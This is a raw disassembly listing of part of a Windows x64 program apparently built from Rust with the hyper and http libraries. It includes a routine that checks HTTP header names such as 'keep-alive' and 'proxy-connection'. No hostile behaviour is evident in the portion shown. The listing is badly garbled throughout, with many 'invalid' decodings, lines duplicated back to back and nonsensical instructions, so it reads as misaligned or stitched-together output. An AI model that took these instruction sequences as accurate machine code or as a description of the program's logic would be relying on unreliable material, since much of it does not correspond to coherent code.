movups xmm3, xmmword [rsp + 0x68]
pop rsp
and al, 0x68
movups xmmword [rsi + 0x30], xmm3
adc dword [rsi + 0x30], ebx
movups xmmword [rsi + 0x20], xmm2
movups xmmword [rsi + 0x10], xmm1
invalid
and byte [rdi], cl
adc dword [rsi + 0x10], ecx
invalid
adc byte [rdi], cl
movups xmmword [rsi], xmm0
adc dword [rsi], eax
add rsp, 0x80
pop rsi
ret
mov byte [rcx], 5
mov byte [rcx + 0x40], 8
add rsp, 0x80
pop rsi
ret
add byte [rax], 0
add byte [rsi - 0x3d], bl
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
sub dword [rsp + 0x20], eax
lea rax, [0x1401127a0]
lea rdx, [0x14016f768]
adc eax, 0x1542cd
adc eax, 0x1542cd
mov r8d, 0x37
jmp 0x14001bb88
add cl, ch
loop case.0x14002aefe.99
add byte [rax], al
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
sub dword [rsp + 0x20], eax
sub dword [rsp + 0x20], eax
lea rax, [0x1401127a0]
lea rdx, [0x14016f768]
lodsb al, byte [rsi]
invalid
invalid
invalid
add byte [rax - 0x73], cl
adc eax, 0x1542ac
lodsb al, byte [rsi]
invalid
invalid
invalid
mov r8d, 0x2c
jmp 0x14001bb88
invalid
add byte [rax], al
add cl, ch
rol dword [rsi], 0
invalid
add byte [rax], al
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
sub dword [rsp + 0x20], eax
invalid
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
sub dword [rsp + 0x20], eax
sub dword [rsp + 0x20], eax
lea rax, [0x1401127a0]
lea rdx, [0x14016f768]
mov eax, dword [rdx + 0x15]
add byte [rcx - 0x48], al
add byte es:[rax], al
add cl, ch
invalid
invalid
add byte [rax], al
add cl, ch
movabs al, byte [0x290fc0570f000006]
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
sub dword [rsp + 0x20], eax
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
sub dword [rsp + 0x20], eax
sub dword [rsp + 0x20], eax
lea rax, [0x1401127a0]
lea rdx, [0x14016f768]
push 0x42
adc eax, 0x40b84100
add byte [rax], al
add cl, ch
jg case.0x14002aefe.79
invalid
add byte [rax], al
add cl, ch
jg case.0x14002aefe.79
invalid
invalid
add byte [rax], al
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
sub dword [rsp + 0x20], eax
sub dword [rsp + 0x20], eax
lea rax, [0x1401127a0]
lea rdx, [0x14016f768]
adc eax, 0x32b84100
add byte [rax], al
add cl, ch
pop rsi
invalid
add byte [rax], al
add cl, ch
pop rsi
invalid
sub dword [rsp + 0x20], eax
lea rax, [0x1401127a0]
lea rdx, [0x14016f768]
sub byte [rdx + 0x15], al
add byte [rcx - 0x48], al
add byte [r8], r8b
add cl, ch
invalid
invalid
add byte [rax], al
add byte [r8], r8b
add cl, ch
cmp eax, 0xf000006
push rdi
ror byte [rdi], 0x29
sub dword [rsp + 0x20], eax
sub dword [rsp + 0x20], eax
lea rax, [0x1401127a0]
lea rdx, [0x14016f768]
lea edx, [0x14016f768]
lea edx, [0x14016f768]
add byte [rcx - 0x48], al
and eax, dword [rax]
add byte [rax], al
invalid
mov r8d, 0x23
add cl, ch
sbb al, 6
add byte [rax], al
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
sub dword [rsp + 0x20], eax
jmp 0x14001bb88
sub dword [rsp + 0x20], eax
lea rax, [0x1401127a0]
lea rdx, [0x14016f768]
adc eax, 0x1541e6
adc eax, 0x1541e6
mov r8d, 0x25
jmp 0x14001bb88
add cl, ch
sti
add eax, 0x570f0000
ror byte [rdi], 0x29
sub dword [rsp + 0x20], eax
sub dword [rsp + 0x20], eax
lea rax, [0x1401127a0]
lea rdx, [0x14016f768]
vunpckhpd xmm8, xmm7, xmmword [rax]
vunpckhpd xmm8, xmm7, xmmword [rax]
mov r8d, 0x18
jmp 0x14001bb88
add cl, ch
fiadd dword [0x19710b5b0]
ror byte [rdi], 0x29
and al, 0x20
lea rax, [0x1401127a0]
lea rdx, [0x14016f768]
movsb byte [rdi], byte [rsi]
adc eax, 0x22b84100
and al, byte [rax]
add byte [rax], al
movsb byte [rdi], byte [rsi]
adc eax, 0x22b84100
and al, byte [rax]
add byte [rax], al
jmp 0x14001bb88
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
and al, byte [rax]
add byte [rax], al
jmp 0x14001bb88
and al, 0x20
lea rax, [0x1401127a0]
lea rdx, [0x14016f768]
add dword [rcx + 0x15], 0
add byte [rcx - 0x48], al
add eax, dword [rax]
add byte [rax], al
mov r8d, 3
jmp 0x14001bb88
and al, 0x20
lea rax, [0x1401127a0]
lea rdx, [0x14016f768]
invalid
adc eax, 0x2db84100
add byte [rax], al
add cl, ch
ja 0x14001b614
add byte [rax], al
invalid
and al, 0x20
lea rax, [0x1401127a0]
lea rdx, [0x14016f768]
mov r8d, 1
jmp 0x14001bb88
adc eax, 0x1b84100
add byte [rax], al
add cl, ch
push rsi
add eax, 0x570f0000
push rdi
push rdi
ror byte [rdi], 0x29
and al, 0x20
lea rax, [0x1401127a0]
lea rdx, [0x14016f768]
and byte [rcx + 0x15], al
add byte [rcx - 0x48], al
and dword [rax], eax
add byte [rax], al
jmp 0x14001bb88
push rdi
ror byte [rdi], 0x29
and al, 0x20
lea rax, [0x1401127a0]
lea rdx, [0x14016f768]
inc dword [rax + 0x15]
add byte [rcx - 0x48], al
xor eax, dword [rax]
add byte [rax], al
jmp 0x14001bb88
push rdi
ror byte [rdi], 0x29
and al, 0x20
lea rax, [0x1401127a0]
str word [rax - 0x73]
adc eax, 0x1540de
str word [rax - 0x73]
adc eax, 0x1540de
mov r8d, 0x49
jmp 0x14001bb88
invalid
add cl, ch
mov eax, 0xf000004
push rdi
ror byte [rdi], 0x29
and al, 0x20
lea rax, [0x1401127a0]
lea rdx, [0x14016f768]
mov r8d, 0x29
jmp 0x14001bb88
mov es, word [rax + rax]
invalid
mov es, word [rax + rax]
add byte [rdi], cl
push rdi
ror byte [rdi], 0x29
and al, 0x20
lea rax, [0x1401127a0]
str word [rax - 0x73]
adc eax, 0x154058
invalid
invalid
invalid
adc eax, 0x4cb84100
mov r8d, 0x4c
jmp 0x14001bb88
add byte [rax], al
add cl, ch
insd dword [rdi], dx
add al, 0
add byte [rcx - 0x4e], al
invalid
add byte [rax], al
add cl, ch
invalid
mov r8d, 0x16
jmp 0x14001bb88
add al, 0
invalid
add byte [rax], al
add cl, ch
xor byte [rax + rax], al
add al, 0
add byte [rdi], cl
push rdi
ror byte [rdi], 0x29
and al, 0x20
lea rax, [0x1401127a0]
lea rdx, [0x14016f768]
add byte [rcx - 0x48], al
adc eax, 0xe9000000
add byte [rax], al
add cl, ch
invalid
add al, 0
invalid
add byte [rcx - 0x48], al
adc eax, 0xe9000000
add byte [rax], al
add cl, ch
add byte [rax], al
add cl, ch
invalid
cmp eax, 0x89480000
int1
mov rax, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x40]
movups xmm0, xmmword [rsp + 0x48]
movaps xmmword [rsp + 0x20], xmm0
movzx r10d, byte [rsp + 0x58]
mov r8d, dword [rsp + 0x59]
mov dword [rsp + 0x30], r8d
mov r8d, dword [rsp + 0x5c]
mov dword [rsp + 0x33], r8d
mov r8d, 2
add al, byte [rax]
add byte [rax], al
add al, byte [rax]
add byte [rax], al
xor r9d, r9d
xor r11d, r11d
jmp 0x14001bb91
mov edx, 0x41000003
mov dl, 5
mov r11d, 1
lea r8, [0x14016f318]
add eax, 0x153b31
add eax, 0x153b31
jmp 0x14001bb91
movsd dword [rdi], dword [rsi]
add eax, dword [rax]
add byte [rcx - 0x4e], al
invalid
movabs r9, 0x101010101010101
mov r10b, 3
mov r8, r9
enter 0xffffffffffff894d, 0xffffffffffffffcb
enter 0xffffffffffff894d, 0xffffffffffffffcb
jmp 0x14001bb91
ror byte [rdi], 0x29
and al, 0x20
lea rax, [0x1401127a0]
lea rdx, [0x14016f768]
lea edx, [0x14016f768]
lea edx, [0x14016f768]
mov r8d, 0x1e
jmp 0x14001bb88
lea edx, [0x14016f768]
mov r8d, 4
jmp 0x14001bb88
lea edx, [0x14016f768]
mov r8d, 0x2a
jmp 0x14001bb88
lea eax, [0x1401127a0]
add eax, 0xf6f1c
lea rdx, [0x14016f768]
lea edx, [0x14016f768]
mov r8d, 0xd
add byte [rax], al
jmp 0x14001bb88
add eax, 0x153705
jmp 0x14001bb91
and al, 0x20
lea rax, [0x1401127a0]
lea rdx, [0x14016f768]
adc eax, 0x153ea7
mov r8d, 0xe
jmp 0x14001bb88
add al, byte [rax]
add byte [rcx - 0x4e], al
invalid
mov r10b, 4
mov r11d, 5
add byte [rax], al
add byte [rbp + rcx*4 + 5], cl
enter 0x1536, 0
jmp 0x14001bb91
movsd dword [rdi], dword [rsi]
add al, byte [rax]
add byte [rdi], cl
push rdi
ror byte [rdi], 0x29
and al, 0x20
lea rax, [0x1401127a0]
add eax, 0xf6ea5
lea rdx, [0x14016f768]
xor r9d, r9d
xor r8d, r8d
jmp 0x14001bb8b
jle 0x14001b90d
add byte [rax], al
jle 0x14001b90d
add byte [rax], al
mov r10b, 7
mov r9d, 0x130
jmp 0x14001b921
invalid
jmp 0x14001bb91
sub dword [rsp + 0x20], eax
and al, 0x20
lea rax, [0x1401127a0]
lea rdx, [0x14016f768]
sub al, 0x3e
adc eax, 0x1db84100
sbb eax, 0xe9000000
add al, byte [r8]
invalid
sbb eax, 0xe9000000
add al, byte [r8]
add byte [rdi], cl
push rdi
ror byte [rdi], 0x29
sub dword [rsp + 0x20], eax
sub dword [rsp + 0x20], eax
and al, 0x20
lea rax, [0x1401127a0]
lea rdx, [0x14016f768]
or edi, dword [rsi]
adc eax, 0x20b84100
add byte [rax], al
add cl, ch
and byte [rdx], al
add byte [rax], al
movaps xmmword [rsp + 0x20], xmm0
sub dword [rsp + 0x20], eax
lea rax, [0x1401127a0]
lea rdx, [0x14016f768]
invalid
invalid
invalid
invalid
sub dword [rsi + 0xf], ebp
add byte [rax - 0x73], cl
adc eax, 0x153dea
invalid
invalid
invalid
invalid
cmp eax, 0xb8410015
add byte cs:[rax], al
add cl, ch
inc dword [rcx]
add byte [rax], al
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
sub dword [rsp + 0x20], eax
mov r8d, 0x2e
jmp 0x14001bb88
sub dword [rsp + 0x20], eax
lea rax, [0x1401127a0]
lea rdx, [0x14016f768]
leave
cmp eax, 0xb8410015
adc byte [rax], al
add byte [rax], al
jmp 0x14001bb88
sub dword [rsp + 0x20], eax
lea rax, [0x1401127a0]
lea rdx, [0x14016f768]
test al, 0x3d
adc eax, 0x28b84100
add byte [rax], al
add cl, ch
invalid
add dword [rax], eax
invalid
sub dword [rsp + 0x20], eax
lea rax, [0x1401127a0]
lea rdx, [0x14016f768]
xchg dword [0xf842b9f8], edi
or byte [rax], al
add byte [rax], al
jmp 0x14001bb88
add byte [rdi], cl
push rdi
ror byte [rdi], 0x29
sub dword [rsp + 0x20], eax
sub dword [rsp + 0x20], eax
lea rax, [0x1401127a0]
lea rdx, [0x14016f768]
cmp ax, 0x15
mov r8d, 0x46
jmp 0x14001bb88
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
push rdi
ror byte [rdi], 0x29
and al, 0x20
lea rax, [0x1401127a0]
add eax, 0xf6d84
lea rdx, [0x14016f768]
mov r8d, 0x2b
sub eax, dword [rax]
add byte [rax], al
sub eax, dword [rax]
add byte [rax], al
jmp 0x14001bb88
add byte [rax], al
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
and al, 0x20
lea rax, [0x1401127a0]
lea rdx, [0x14016f768]
and al, 0x3d
adc eax, 0x4ab84100
add byte [rax], al
invalid
jmp 0x14001bb88
add byte [rax], al
add cl, ch
sbb byte [rcx], al
add byte [rax], al
xorps xmm0, xmm0
push rdi
ror byte [rdi], 0x29
and al, 0x20
push rdi
ror byte [rdi], 0x29
and al, 0x20
lea rax, [0x1401127a0]
lea rdx, [0x14016f768]
adc eax, 0x153ce2
adc eax, 0x153ce2
mov r8d, 0x19
jmp 0x14001bb88
lea rdx, [0x14016f768]
mov r8d, 0x27
jmp 0x14001bb88
sub dword [rsp + 0x20], eax
lea rax, [0x1401127a0]
str word [rax - 0x73]
adc eax, 0x153c7f
invalid
invalid
lea rdx, [0x14016f768]
adc eax, 0x17b84100
add byte [rax], al
add cl, ch
xchg esp, eax
add byte [rax], al
add byte [rdi], cl
mov r8d, 0x17
jmp 0x14001bb88
push rdi
ror byte [rdi], 0x29
and al, 0x20
lea rax, [0x1401127a0]
insb byte [rdi], dx
str word [rax - 0x73]
adc eax, 0x153c5e
mov r8d, 0x41
jmp 0x14001bb88
jg 0x14001bb8b
str word [rax - 0x73]
adc eax, 0x153c40
mov r8d, 0x42
jmp 0x14001bb88
add byte [rcx - 0x48], al
cmp dword [rax], eax
add byte [rax], al
xor r9d, r9d
xor r11d, r11d
xor r10d, r10d
mov qword [rcx], r9
mov qword [rcx + 8], r8
mov qword [rcx + 0x10], r11
mov qword [rcx + 0x18], 0
mov qword [rcx + 0x20], rax
mov qword [rcx + 0x28], rdx
movaps xmm0, xmmword [rsp + 0x20]
movups xmmword [rcx + 0x30], xmm0
mov byte [rcx + 0x40], r10b
mov eax, dword [rsp + 0x30]
mov edx, dword [rsp + 0x33]
mov dword [rcx + 0x41], eax
mov dword [rcx + 0x44], edx
add rsp, 0x80
pop rsi
ret
in al, dx
movabs al, byte [0x8948d78948000000]
invalid
shr rdi, 5
sub r14, rdi
lea r15, [rdi + rbx]
cmp rbx, r12
jne 0x14001bca1
test r15, r15
je 0x14001bd66
test r14b, 1
jne 0x14001bd7b
mov rax, r14
or rax, 1
lea rcx, [0x140126040]
jmp 0x14001bd85
movzx eax, byte [0x14017d2b0]
mov edx, 0x18
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x14001bea5
add r12, rdi
mov qword [rax], r14
mov qword [rax + 8], r12
mov qword [rax + 0x10], 1
lea rcx, [0x140110b88]
jmp 0x14001bd85
mov qword [rax], r13
mov qword [rax + 8], r12
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], 1
mov rdi, rax
mov r14, qword [rsp + 0x30]
add r14, r15
xor eax, eax
sub rbx, r15
cmovb rbx, rax
mov r12, qword [rsp + 0x40]
sub r12, r15
test dil, 1
jne 0x14001bc6b
mov qword [rsi + 8], r14
mov qword [rsi + 0x10], rbx
mov qword [rsi + 0x18], rdi
lea rax, [0x14014bbf0]
mov qword [rsi], rax
jmp 0x14001bda8
lea rcx, [0x140110a98]
lea r14, [0x14016f768]
xor eax, eax
xor r15d, r15d
jmp 0x14001bd85
lea rcx, [0x140126058]
mov rax, r14
invalid
invalid
mov qword [rsp + 0x20], rdi
mov dword [rsp + 0x20], edi
mov rdx, r15
sub rdx, rdi
jb 0x14001be30
add r14, rdi
mov qword [rsi], rcx
mov qword [rsi + 8], r14
mov qword [rsi + 0x10], rdx
mov qword [rsi + 0x18], rax
add rsp, 0xa0
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
add byte [rax], al
lea rax, [rsp + 0x50]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 2
mov dword [rsp + 0x88], 2
add byte [rax - 0x39], cl
test byte [rax + rcx*4], ah
add byte [rax], al
add byte [rax], al
add al, byte [rax]
add byte [rax], al
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes_mut.rs
mov dword [rsp + 0x88], 2
add byte [rax], al
add al, byte [rax]
add byte [rax], al
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes_mut.rs
mov bh, dh
adc al, byte [rax]
lea rcx, [rsp + 0x70]
and al, 0x70
call fcn.140104620
mov qword [rsp + 0x28], r15
and al, 0x28
lea rax, [rsp + 0x20]
mov qword [rsp + 0x50], rax
and al, 0x50
and al, 0x50
lea rax, [0x1400ea5c0]
mov qword [rsp + 0x58], rax
add byte [rax - 0x77], cl
and al, 0x58
lea rcx, [rsp + 0x28]
lea ecx, [rsp + 0x28]
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x68], rax
lea rax, str.cannot_advance_past__remaining_:___
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 2
mov qword [rsp + 0x90], 0
lea rax, [rsp + 0x50]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 2
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes.rsC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_src_body_body.rs
lea rcx, [rsp + 0x70]
call fcn.140104620
mov ecx, 8
mov edx, 0x18
call fcn.140104380
int3
test byte [rsi], cl
invalid
int3
mov ecx, 8
add byte [rax], al
mov edx, 0x28
call fcn.140104380
int3
int3
lea r8d, [rax - 2]
dec al
xor r9d, r9d
cmp r8b, 6
movzx eax, al
cmovae eax, r9d
movzx eax, al
lea r8, [0x140172b10]
movsxd rax, dword [r8 + rax*4]
add rax, r8
jmp rax
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movaps xmmword [rsp + 0xa0], xmm1
movaps xmmword [rsp + 0x90], xmm0
add byte [rax - 0x75], cl
mov qword [rsp + 0x50], rax
add byte [rax - 0x75], cl
mov qword [rsp + 0x50], rax
movups xmm0, xmmword [rdx + 0x20]
movups xmm1, xmmword [rdx + 0x30]
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
mov rdi, qword [rsp + 0x90]
movzx esi, byte [rsp + 0x98]
cmp sil, 0x14
sete al
mov edx, esi
and dl, 0x7d
cmp dl, 0x45
sete dl
test rdi, rdi
jne 0x14001c272
or al, dl
je 0x14001c272
mov rax, qword [rcx]
mov byte [rax], 1
add esi, eax
add byte [rcx], al
mov r8, qword [rsp + 0x40]
and al, 0x40
jmp 0x14001c4b5
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
mov rax, qword [rcx + 8]
cmp byte [rax], 0
jne 0x14001c1f0
mov rsi, qword [rcx + 0x20]
mov rax, qword [rsi]
mov eax, dword [rsi]
mov eax, dword [rsi]
cmp qword [rax + 0xb8], 0
jne 0x14001c1f0
add byte [rax], al
add byte [rdi], cl
test dword [rdi], edi
add al, byte [rax]
add byte [rdi], cl
adc byte [rdx], al
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movaps xmmword [rsp + 0x70], xmm1
movaps xmmword [rsp + 0x60], xmm0
mov r8, qword [rsp + 0x70]
mov rax, qword [rcx + 0x10]
adc byte [r8 - 0x75], cl
invalid
adc byte [r8 - 0x75], cl
adc byte [rcx - 0x73], cl
lea rdx, [r8 + rdx + 0x25]
mov qword [rax], rdx
mov rcx, qword [rcx + 0x18]
lea rdx, [r8 + rdx + 0x25]
mov qword [rax], rdx
mov rcx, qword [rcx + 0x18]
mov rax, qword [rsi]
cmp rdx, qword [rcx]
jae 0x14001c566
mov r9, qword [rax + 0xb8]
test r9, r9
je 0x14001c00e
lea rcx, [rax + 0xd0]
mov rdx, qword [rax + 0xc0]
mov r8, qword [rax + 0xc8]
call qword [r9 + 0x10]
mov rax, qword [rsi]
movaps xmm0, xmmword [rsp + 0x60]
movaps xmm1, xmmword [rsp + 0x70]
movups xmmword [rax + 0xc8], xmm1
movups xmmword [rax + 0xb8], xmm0
add cl, ch
loop 0x14001c02a
add byte [rax], al
add cl, ch
loop 0x14001c02a
add byte [rax], al
add byte [rdi], cl
mov dh, 0x1a
movzx ebx, byte [rdx]
mov r8, qword [rdx + 8]
mov rsi, qword [rdx + 0x10]
mov rax, qword [rcx + 8]
cmp byte [rax], 0
jne case.default.0x14001c067
mov rdi, qword [rcx + 0x20]
mov rax, qword [rdi]
cmp byte [rax + 0x60], 0xb
jne case.default.0x14001c067
movzx eax, bl
mov eax, eax
lea r9, [0x140172b2c]
movsxd rax, dword [r9 + rax*4]
add rax, r9
jmp rax
mov eax, 7
jmp 0x14001c607
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
mov rax, qword [rcx + 8]
cmp byte [rax], 0
jne 0x14001c1f0
mov rsi, qword [rcx + 0x20]
mov rax, qword [rsi]
cmp qword [rax + 0x78], 0
jne 0x14001c1f0
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
adc byte [rdi], cl
sub dword [rsp + 0x70], ecx
adc byte [rdi], cl
sub dword [rsp + 0x70], ecx
movaps xmmword [rsp + 0x60], xmm0
mov r8, qword [rsp + 0x70]
jo 0x14001c102
mov eax, dword [rcx + 0x10]
jo 0x14001c102
mov eax, dword [rcx + 0x10]
mov rdx, qword [rax]
lea rdx, [r8 + rdx + 0x27]
mov qword [rax], rdx
mov rcx, qword [rcx + 0x18]
mov rax, qword [rsi]
cmp rdx, qword [rcx]
jae 0x14001c566
mov r9, qword [rax + 0x78]
test r9, r9
je 0x14001c0fd
lea rcx, [rax + 0x90]
mov rdx, qword [rax + 0x80]
mov r8, qword [rax + 0x88]
call qword [r9 + 0x10]
adc byte [rax - 0x75], cl
invalid
movaps xmm0, xmmword [rsp + 0x60]
movaps xmm1, xmmword [rsp + 0x70]
movups xmmword [rax + 0x88], xmm1
movups xmmword [rax + 0x78], xmm0
jmp 0x14001c20d
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
mov rax, qword [rcx + 8]
cmp byte [rax], 0
jne 0x14001c1f0
mov rsi, qword [rcx + 0x20]
mov rax, qword [rsi]
cmp qword [rax + 0x98], 0
cwde
add byte [rax], al
add byte [rax], al
cwde
add byte [rax], al
add byte [rax], al
jne 0x14001c1f0
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movaps xmmword [rsp + 0x70], xmm1
and al, 0x70
and al, 0x70
movaps xmmword [rsp + 0x60], xmm0
mov r8, qword [rsp + 0x70]
mov rax, qword [rcx + 0x10]
mov rdx, qword [rax]
lea rdx, [r8 + rdx + 0x2a]
mov qword [rax], rdx
mov rcx, qword [rcx + 0x18]
mov rax, qword [rsi]
cmp rdx, qword [rcx]
jae 0x14001c566
mov r9, qword [rax + 0x98]
test r9, r9
je 0x14001c1a7
lea rcx, [rax + 0xb0]
mov rdx, qword [rax + 0xa0]
mov r8, qword [rax + 0xa8]
call qword [r9 + 0x10]
mov rax, qword [rsi]
movaps xmm0, xmmword [rsp + 0x60]
movaps xmm1, xmmword [rsp + 0x70]
movups xmmword [rax + 0xa8], xmm1
movups xmmword [rax + 0x98], xmm0
jmp 0x14001c20d
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
mov rax, qword [rcx + 8]
cmp byte [rax], 0
jne 0x14001c1f0
mov rsi, qword [rcx + 0x20]
mov rax, qword [rsi]
cmp qword [rax + 0xd8], 0
je 0x14001c4f0
mov rax, qword [rcx]
mov byte [rax], 1
lea rcx, [rsp + 0x48]
mov rax, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
mov r8, qword [rsp + 0x40]
call qword [rax + 0x10]
nop
add rsp, 0xd0
add byte [rbx + 0x5f], bl
add byte [rbx + 0x5f], bl
pop rsi
pop r14
pop r15
ret
mov rax, qword [rcx + 8]
cmp byte [rax], 0
jne 0x14001c23c
mov rax, qword [rcx + 0x20]
mov r8, qword [rax]
cmp word [r8 + 0xf8], 0
je 0x14001c58a
mov rax, qword [rcx]
mov byte [rax], 1
jmp 0x14001c20d
mov rax, qword [rcx]
mov byte [rax], 1
cmp bl, 0xa
jb 0x14001c20d
test rsi, rsi
je 0x14001c20d
mov rcx, qword [0x14017d208]
xor edx, edx
add rsp, 0xd0
pop rbx
pop rdi
pop rsi
pop r14
pop r15
jmp qword [sym.imp.kernel32.dll_HeapFree]
test rdi, rdi
je 0x14001c292
mov rsi, qword [rsp + 0x98]
mov rdx, qword [rsp + 0xa0]
mov rax, rsi
cmp rdx, 0xa
je 0x14001c2a5
jmp 0x14001c2e4
mov rbx, rcx
mov ecx, esi
call fcn.14002e9e0
mov rcx, rbx
cmp rdx, 0xa
jne 0x14001c2e4
cmp byte [rax], 0x6b
jne 0x14001c2e4
cmp byte [rax + 1], 0x65
jne 0x14001c2e4
cmp byte [rax + 2], 0x65
jne 0x14001c2e4
cmp byte [rax + 3], 0x70
jne 0x14001c2e4
cmp byte [rax + 4], 0x2d
jne 0x14001c2e4
cmp byte [rax + 5], 0x61
jne 0x14001c2e4
cmp byte [rax + 6], 0x6c
jne 0x14001c2e4
cmp byte [rax + 7], 0x69
jne 0x14001c2e4
cmp byte [rax + 8], 0x76
jne 0x14001c2e4
cmp byte [rax + 9], 0x65
je 0x14001bf6e
test rdi, rdi
je 0x14001c304
mov rsi, qword [rsp + 0x98]
mov rdx, qword [rsp + 0xa0]
mov edx, dword [rsp + 0xa0]
mov edx, dword [rsp + 0xa0]
mov rax, rsi
cmp rdx, 0x10
je 0x14001c317
jmp 0x14001c37a
mov rbx, rcx
mov ecx, esi
call fcn.14002e9e0
mov rcx, rbx
cmp rdx, 0x10
jne 0x14001c37a
cmp byte [rax], 0x70
jne 0x14001c37a
cmp byte [rax + 1], 0x72
jne 0x14001c37a
cmp byte [rax + 2], 0x6f
jne 0x14001c37a
cmp byte [rax + 3], 0x78
jne 0x14001c37a
cmp byte [rax + 4], 0x79
jne 0x14001c37a
cmp byte [rax + 5], 0x2d
jne 0x14001c37a
cmp byte [rax + 6], 0x63
jne 0x14001c37a
cmp byte [rax + 7], 0x6f
jne 0x14001c37a
cmp byte [rax + 8], 0x6e
jne 0x14001c37a
cmp byte [rax + 9], 0x6e
jne 0x14001c37a
cmp byte [rax + 0xa], 0x65
jne 0x14001c37a
cmp byte [rax + 0xb], 0x63
jne 0x14001c37a
cmp byte [rax + 0xc], 0x74
jne 0x14001c37a
cmp byte [rax + 0xd], 0x69
jne 0x14001c37a
cmp byte [rax + 0xe], 0x6f
jne 0x14001c37a
cmp byte [rax + 0xf], 0x6e
je 0x14001bf6e
test rdi, rdi
jne 0x14001c3af
cmp sil, 0x43
jne 0x14001c3af
mov r8, qword [rsp + 0x40]
cmp r8, 8
jne 0x14001c3a4
mov rax, qword [rsp + 0x38]
movabs rdx, 0x7372656c69617274
jae 0x14001c3e8
cmp dword [rax], edx
jae 0x14001c3e8
cmp dword [rax], edx
je 0x14001c3af
mov rax, qword [rcx]
mov byte [rax], 1
jmp 0x14001c4b5
mov rax, qword [rcx + 8]
mov byte [rax], 1
add dword [rax - 0x73], ecx
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rax - 0x77], cl
mov esi, ecx
add dword [rax - 0x73], ecx
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rax - 0x77], cl
mov esi, ecx
mov esi, ecx
mov rcx, rax
call fcn.14001e2b0
invalid
add byte [rax], al
mov rdx, rsi
mov r8, qword [rsp + 0x40]
mov eax, dword [rsp + 0x40]
invalid
mov eax, dword [rsp + 0x40]
mov rcx, qword [rsi + 0x10]
add rax, r8
add rax, 0x20
add rax, qword [rcx]
mov qword [rcx], rax
mov rcx, qword [rsi + 0x18]
cmp rax, qword [rcx]
add dword [rdi], ecx
sub dword [rdi + 0x49000000], 0xffffff83
add eax, 0x20
lea rcx, [rsp + 0x90]
jae 0x14001c49e
add r8, 0x20
add eax, 0x20
lea rcx, [rsp + 0x90]
mov rsi, rdx
mov rdi, r8
call fcn.14001e2b0
mov rcx, qword [rsi + 0x20]
mov rdx, qword [rcx]
add rax, rdi
add qword [rdx + 0x100], rax
mov rcx, qword [rcx]
movaps xmm0, xmmword [rsp + 0x90]
movaps xmm1, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0xc0], xmm1
movaps xmmword [rsp + 0xb0], xmm0
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x80], rax
movaps xmm0, xmmword [rsp + 0x30]
movaps xmm1, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0x70], xmm1
movaps xmmword [rsp + 0x60], xmm0
lea rdx, [rsp + 0xb0]
and al, 0xb0
add byte [rax], al
add byte [rax], al
and al, 0xb0
add byte [rax], al
add byte [rax], al
lea r8, [rsp + 0x60]
add byte [rax], al
lea r8, [rsp + 0x60]
call fcn.14001e390
cmp al, 2
jne 0x14001c20d
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov qword [rsp + 0x20], rax
lea rcx, str.size_overflows_MAX_SIZE
lea r9, [0x1401126b0]
invalid
str word [rbp + rcx*4 + 0x44]
and al, 0x2f
invalid
mov edx, 0x17
call fcn.1401049b0
invalid
test dword [rsi], ecx
invalid
adc al, byte [rbp - 0x74b7fff2]
and byte [rax - 0x75], cl
and byte [rax - 0x75], cl
mov rax, qword [rdx + 0x20]
mov rax, qword [rax]
cmp byte [rax + 0x108], 0
add byte [rax + 0x108b8], al
add byte [rax], al
jne 0x14001c4b5
mov byte [rax + 0x108], 1
lea rcx, [rsp + 0x48]
mov rax, qword [rsp + 0x30]
